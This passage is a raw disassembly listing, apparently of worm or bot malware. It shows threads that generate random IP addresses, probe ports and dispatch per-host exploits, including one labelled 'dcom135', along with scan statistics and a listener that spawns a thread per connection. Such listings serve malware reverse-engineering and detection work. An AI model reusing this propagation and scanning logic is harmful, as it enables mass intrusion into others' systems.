lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_416BB0
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43A3FC
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset unk_427218
loc_406F81: ; CODE XREF: sub_406C3E+484j
lea eax, [ebp+var_780]
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406FBB
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
add esp, 14h
loc_406FBB: ; CODE XREF: sub_406C3E+358j
lea eax, [ebp+var_780]
push eax
call sub_40B16D
pop ecx
jmp loc_4070DD
; ---------------------------------------------------------------------------
loc_406FCD: ; CODE XREF: sub_406C3E+2B6j
; sub_406C3E+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_427204
push edi
call dword_43A3FC
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_4271C8
push eax
call sub_4154E7
lea eax, [ebp+var_D8]
push eax
call sub_40B16D
add esp, 14h
jmp loc_4070DD
; ---------------------------------------------------------------------------
loc_407013: ; CODE XREF: sub_406C3E+275j
cmp [ebp+var_D7], 4
jnz loc_4070C7
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_407050
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_40705E
; ---------------------------------------------------------------------------
loc_407050: ; CODE XREF: sub_406C3E+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_40705E: ; CODE XREF: sub_406C3E+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_416E3E
push [ebp+var_8]
loc_40707B: ; DATA XREF: .nsp0:00424DA8o
; .nsp0:00424DBCo ...
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_416BB0
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43A3FC
cmp edi, ebx
jnz short loc_4070DD
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_427178
jmp loc_406F81
; ---------------------------------------------------------------------------
loc_4070C7: ; CODE XREF: sub_406C3E+268j
; sub_406C3E+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_42716C
push edi
call dword_43A3FC
loc_4070DD: ; CODE XREF: sub_406C3E+204j
; sub_406C3E+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406DE9
loc_4070E9: ; CODE XREF: sub_406C3E+1B4j
push edi
call dword_43A430
push [ebp+var_8]
call sub_415B40
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40711D
push [ebp+var_170]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40711D: ; CODE XREF: sub_406C3E+4CAj
push 3E8h
call dword_421060 ; Sleep
push esi
loc_407129: ; CODE XREF: sub_406C3E+123j
call sub_406C3E
pop edi
pop esi
pop ebx
leave
retn 4
sub_406C3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407135 proc near ; CODE XREF: sub_40CE55+5799p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4276DC
push eax
xor ebx, ebx
call sub_4154E7
cmp dword_427338, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4071A3
push esi
mov esi, offset dword_427340
loc_407168: ; CODE XREF: sub_407135+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4154E7
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416F10
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_407168
pop esi
loc_4071A3: ; CODE XREF: sub_407135+2Bj
push dword_468818
call sub_40A9B2
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4154E7
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416F10
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_200]
push eax
call sub_40B16D
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071FF proc near ; CODE XREF: sub_40CE55+5106p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40723B
mov eax, [ebp+arg_C]
push dword_438FE8[eax*8]
call dword_43A424
push eax
lea eax, [ebp+var_200]
push offset unk_427748
push eax
call sub_4154E7
add esp, 0Ch
jmp short loc_40724E
; ---------------------------------------------------------------------------
loc_40723B: ; CODE XREF: sub_4071FF+13j
lea eax, [ebp+var_200]
push offset unk_427714
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40724E: ; CODE XREF: sub_4071FF+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_200]
push eax
call sub_40B16D
add esp, 18h
leave
retn
sub_4071FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407276 proc near ; CODE XREF: sub_40799F+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_407606
imul eax, 3Ch
xor ebx, ebx
cmp dword_427344[eax], ebx
jz loc_4074E7
push 4
call sub_4151DB
test eax, eax
pop ecx
jnz loc_407606
mov eax, dword_42C188
push edi
mov edi, offset dword_439964
push 104h
push edi
push ebx
mov dword_439B74, eax
mov dword_439B70, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_439A68
push offset byte_42C1FC
push esi
call sub_416D40
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_439960, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_439BF8, eax
jnz short loc_407329
lea eax, [ebp+arg_10]
push eax
push offset dword_439B78
call sub_416D40
add esp, 0Ch
mov dword_439BFC, 1
jmp short loc_407343
; ---------------------------------------------------------------------------
loc_407329: ; CODE XREF: sub_407276+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_439B78
call sub_416D40
add esp, 0Ch
mov dword_439BFC, ebx
loc_407343: ; CODE XREF: sub_407276+B1j
push esi
push edi
push dword_439B74
lea eax, [ebp+var_204]
push offset unk_4278F4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_414F93
add esp, 20h
mov dword_439B6C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439960
push offset sub_406C3E
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_439B6C
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_4073B2
loc_4073A0: ; CODE XREF: sub_407276+13Aj
cmp dword_439C00, ebx
jnz short loc_4073CD
push 32h
call dword_421060 ; Sleep
jmp short loc_4073A0
; ---------------------------------------------------------------------------
loc_4073B2: ; CODE XREF: sub_407276+128j
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4278AC
push eax
call sub_4154E7
add esp, 0Ch
loc_4073CD: ; CODE XREF: sub_407276+130j
lea eax, [ebp+var_204]
push eax
call sub_40B16D
mov edi, offset dword_439FBC
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43A1C8, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_43A0C0
push offset byte_42C1FC
push esi
call sub_416D40
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_439FB8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43A250, eax
jnz short loc_407448
lea eax, [ebp+arg_10]
push eax
push offset dword_43A1D0
call sub_416D40
add esp, 0Ch
mov dword_43A254, 1
jmp short loc_407462
; ---------------------------------------------------------------------------
loc_407448: ; CODE XREF: sub_407276+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_43A1D0
call sub_416D40
add esp, 0Ch
mov dword_43A254, ebx
loc_407462: ; CODE XREF: sub_407276+1D0j
push esi
push edi
push dword_43A1CC
lea eax, [ebp+var_204]
push offset dword_427858
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_414F93
add esp, 20h
mov dword_43A1C4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439FB8
push offset sub_405409
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43A1C4
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_4074D6
loc_4074C0: ; CODE XREF: sub_407276+25Ej
cmp dword_43A258, ebx
jnz loc_4075F9
push 32h
call dword_421060 ; Sleep
jmp short loc_4074C0
; ---------------------------------------------------------------------------
loc_4074D6: ; CODE XREF: sub_407276+248j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_427814
jmp loc_4075EA
; ---------------------------------------------------------------------------
loc_4074E7: ; CODE XREF: sub_407276+25j
cmp dword_427348[eax], ebx
jz loc_407606
push 3
call sub_4151DB
test eax, eax
pop ecx
jnz loc_407606
mov esi, offset dword_439E94
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
push 5Ch
push esi
call sub_417040
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407525
mov [eax], bl
loc_407525: ; CODE XREF: sub_407276+2ABj
mov eax, dword_42C18C
mov dword_439FAC, ebx
mov dword_439F98, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_439C0C
call sub_4154E7
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_439C08, eax
mov ecx, [ebp+arg_138]
push esi
push dword_439F98
mov dword_439FA4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_439FA8, ecx
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_4277C4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_414F93
add esp, 20h
mov dword_439FA0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439C08
push offset sub_405B23
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_439FA0
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_4075DE
loc_4075CC: ; CODE XREF: sub_407276+366j
cmp dword_439FB4, ebx
jnz short loc_4075F9
push 32h
call dword_421060 ; Sleep
jmp short loc_4075CC
; ---------------------------------------------------------------------------
loc_4075DE: ; CODE XREF: sub_407276+354j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_42777C
loc_4075EA: ; CODE XREF: sub_407276+26Cj
lea eax, [ebp+var_204]
push eax
call sub_4154E7
add esp, 0Ch
loc_4075F9: ; CODE XREF: sub_407276+250j
; sub_407276+35Cj
lea eax, [ebp+var_204]
push eax
call sub_40B16D
pop ecx
loc_407606: ; CODE XREF: sub_407276+14j
; sub_407276+35j ...
pop esi
pop ebx
leave
retn
sub_407276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40760A proc near ; CODE XREF: sub_40778B:loc_4077FCp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:438FE8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4155D0
add esp, 0Ch
push [ebp+arg_0]
call dword_43A2CC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43A394
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4155D0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40760A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407652 proc near ; CODE XREF: sub_40778B+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_415CF0
cmp eax, 0Fh
pop ecx
jbe short loc_40767A
xor eax, eax
jmp short loc_4076EB
; ---------------------------------------------------------------------------
loc_40767A: ; CODE XREF: sub_407652+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_416AA0
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4076A7
call sub_415543
mov [ebp+var_C], eax
loc_4076A7: ; CODE XREF: sub_407652+4Bj
cmp [ebp+var_8], esi
jnz short loc_4076B4
call sub_415543
mov [ebp+var_8], eax
loc_4076B4: ; CODE XREF: sub_407652+58j
cmp [ebp+var_4], esi
jnz short loc_4076C1
call sub_415543
mov [ebp+var_4], eax
loc_4076C1: ; CODE XREF: sub_407652+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4076CD
call sub_415543
loc_4076CD: ; CODE XREF: sub_407652+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_438FE8[ecx*8], eax
loc_4076EB: ; CODE XREF: sub_407652+26j
pop esi
leave
retn
sub_407652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076EE proc near ; CODE XREF: sub_40778B+B8p
; sub_412B98+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43A418
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407717
xor eax, eax
jmp short loc_407786
; ---------------------------------------------------------------------------
loc_407717: ; CODE XREF: sub_4076EE+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43A398
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43A434
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43A340
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43A380
push esi
mov edi, eax
call dword_43A430
xor eax, eax
cmp edi, ebx
setnle al
loc_407786: ; CODE XREF: sub_4076EE+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40778B proc near ; DATA XREF: sub_40799F+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_42104C ; GetTickCount
push eax
call sub_415539
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4077D2: ; CODE XREF: sub_40778B+200j
mov eax, dword_43F52C[ebx]
cmp dword_438FEC[eax*8], 0
jz loc_407990
cmp [ebp+var_10], 0
push eax
jz short loc_4077FC
lea eax, [ebp+var_150]
push eax
call sub_407652
pop ecx
jmp short loc_407801
; ---------------------------------------------------------------------------
loc_4077FC: ; CODE XREF: sub_40778B+60j
call sub_40760A
loc_407801: ; CODE XREF: sub_40778B+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43F52C[ebx]
push [ebp+var_3C]
push edi
call dword_43A424
push eax
lea eax, [ebp+var_28C]
push offset unk_427990
push eax
call sub_4154E7
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43F328[ebx]
push eax
call sub_4154E7
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076EE
add esp, 2Ch
cmp eax, 1
jnz loc_407980
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078D5
push offset dword_439948
call dword_4210B4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_43A424
push eax
lea eax, [ebp+var_28C]
push offset unk_427954
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4078B7
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4078AB
lea eax, [ebp+var_140]
loc_4078AB: ; CODE XREF: sub_40778B+118j
push eax
push [ebp+var_40]
call sub_412D4C
add esp, 14h
loc_4078B7: ; CODE XREF: sub_40778B+FDj
lea eax, [ebp+var_28C]
push eax
call sub_40B16D
mov [esp+2A8h+var_2A8], offset dword_439948
call dword_4210B0 ; RtlLeaveCriticalSection
jmp loc_407980
; ---------------------------------------------------------------------------
loc_4078D5: ; CODE XREF: sub_40778B+CDj
push edi
call dword_43A424
push eax
lea eax, [ebp+var_208]
push eax
call sub_4154E7
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_407919
lea eax, [ebp+var_140]
loc_407919: ; CODE XREF: sub_40778B+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4154E7
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42733C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_407980: ; CODE XREF: sub_40778B+C3j
; sub_40778B+145j
push 7D0h
call dword_421060 ; Sleep
jmp loc_4077D2
; ---------------------------------------------------------------------------
loc_407990: ; CODE XREF: sub_40778B+55j
push esi
call sub_4152AF
pop ecx
push 0
call dword_421048 ; ExitThread
sub_40778B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40799F proc near ; DATA XREF: sub_40CE55+31D4o
; sub_40CE55+4D64o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43A3D8
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_438FE8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_407276
push 8
call sub_4151DB
add esp, 150h
cmp eax, ebx
jnz short loc_407A6D
mov esi, offset dword_439948
push esi
call dword_4210BC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4210B8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_407A6D
lea eax, [ebp+var_1CC]
push offset unk_427AD4
push eax
call sub_4154E7
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A57
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D4C
add esp, 14h
loc_407A57: ; CODE XREF: sub_40799F+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A6D: ; CODE XREF: sub_40799F+63j
; sub_40799F+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_421060
mov edi, ebx
mov dword_438FEC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B3A
loc_407A8B: ; CODE XREF: sub_40799F+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A88
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_414F93
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43F52C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40778B
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_407B05
loc_407AFA: ; CODE XREF: sub_40799F+164j
cmp [ebp+var_4], ebx
jnz short loc_407B2C
push 1Eh
call esi ; Sleep
jmp short loc_407AFA
; ---------------------------------------------------------------------------
loc_407B05: ; CODE XREF: sub_40799F+159j
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A38
push eax
call sub_4154E7
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
add esp, 10h
loc_407B2C: ; CODE XREF: sub_40799F+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A8B
loc_407B3A: ; CODE XREF: sub_40799F+E6j
cmp [ebp+var_30], ebx
jz loc_407BE4
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_407B4F: ; CODE XREF: sub_40799F+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_438FE8[eax*8]
push eax
call dword_43A424
push eax
lea eax, [ebp+var_1CC]
push offset unk_4279E0
push eax
call sub_4154E7
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B9D
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D4C
add esp, 14h
loc_407B9D: ; CODE XREF: sub_40799F+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_438FEC[eax*8], ebx
call esi ; Sleep
push 8
call sub_4151DB
cmp eax, 1
pop ecx
jnz short loc_407BD4
push offset dword_439948
call dword_4210BC ; RtlDeleteCriticalSection
loc_407BD4: ; CODE XREF: sub_40799F+228j
push [ebp+var_2C]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_407BE4: ; CODE XREF: sub_40799F+19Ej
; sub_40799F+25Dj
mov eax, [ebp+var_2C]
cmp dword_438FEC[eax*8], 1
jnz loc_407B4F
push 7D0h
call esi ; Sleep
jmp short loc_407BE4
sub_40799F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BFE proc near ; DATA XREF: sub_40CE55+35ABo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43A398
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43A418
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D62
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_43F534[eax], ebx
call dword_43A2B4
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A3C4
test eax, eax
jnz loc_407D62
push 0Ah
push ebx
call dword_43A3C0
test eax, eax
jnz loc_407D62
loc_407CA8: ; CODE XREF: sub_407BFE+BEj
; sub_407BFE+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43A42C
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407CA8
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43A424
push eax
lea eax, [ebp+var_34C]
push offset unk_427B70
push eax
call sub_4154E7
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_414F93
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43F52C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407D86
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43F53C[ecx], eax
jz short loc_407D4D
loc_407D3A: ; CODE XREF: sub_407BFE+14Dj
cmp [ebp+var_2C], esi
jnz loc_407CA8
push 32h
call dword_421060 ; Sleep
jmp short loc_407D3A
; ---------------------------------------------------------------------------
loc_407D4D: ; CODE XREF: sub_407BFE+13Aj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427B20
call sub_40B1E1
pop ecx
pop ecx
jmp short loc_407D65
; ---------------------------------------------------------------------------
loc_407D62: ; CODE XREF: sub_407BFE+61j
; sub_407BFE+93j ...
mov edi, [ebp+arg_0]
loc_407D65: ; CODE XREF: sub_407BFE+162j
push edi
call dword_43A430
push ebx
call dword_43A430
push [ebp+var_3C]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407BFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
